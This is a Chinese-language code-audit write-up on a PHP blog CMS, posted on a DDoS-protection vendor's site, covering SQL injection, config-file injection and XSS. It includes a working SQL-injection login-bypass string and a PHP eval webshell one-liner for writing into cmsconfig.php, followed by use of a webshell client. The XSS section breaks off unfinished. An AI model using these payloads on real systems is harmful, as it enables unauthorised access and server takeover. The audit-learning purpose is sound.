DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

浅谈代码审计入门实战:某博客系统最新版审计之旅

09-18 WEB安全

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。
身份验证漏洞
首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里ad/login.php先看代码
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);
@$loginlong=$_POST["loginlong"];
setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');
$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过
username=qweq' or 1=1#
password=123
任意文件修改导致getshell
进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的setconfig.php我们先看一下大致的表单提交格式
function save(){
global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath;
$file="../cmsconfig.php";
$text = file_get_contents($file);
$text2=$text;
$text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2);
$text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2);
$text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2);
$text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2);
$text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2);
$text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2);
$text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2);
$text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2);
$text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2);
?>
这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

浅谈代码审计入门实战:某博客系统最新版审计之旅


所以我们可以构造一句话插入
";@eval($_POST['cmd']);/*

浅谈代码审计入门实战:某博客系统最新版审计之旅


然后用菜刀链接cmsconfig.php文件
XSS
既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在art.php先大致看一下代码有无过滤
添加文章
 
function addart(){
$_SESSION['jdate']='';$_SESSION['jid']='';
global $webauthor,$date,$weburl;
global $tabhead;
$title=$_GET['title'];
$content=$_GET['content'];
?>
这里乍一看是没有进行过滤的,接着找一下表单结构
div id=addart_left>
span id="jieguo">span>
form id="frm" name="frm" method="post" action="?g=editsave" >
input name=id type=hidden value="=$id?>" >
p>input  style="width:400px" type=text name=title value="=$title?>" >文章标题,严禁特殊符号p>
p>input  style="width:400px"  name=htmlname type=text value="=$htmlname?>" >html别名,静态目录,严禁特殊符号p>
p >input  style="width:400px;"  type=text name=pic id=pic_txt value="=$pic?>" title="您可在这里直接输入图片地址如?www.myhack58.com" onchange="changepic2()" >填写缩略图网址
p>
p>textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;">=htmlspecialchars($content);?>textarea>p>
div>
这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了tags参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数
$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];}
$tags=htmlnameguolv($tags);
跟进去过滤函数

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://www.ddosgb.com//web/140.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 722652访问次数
  • 建站天数

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X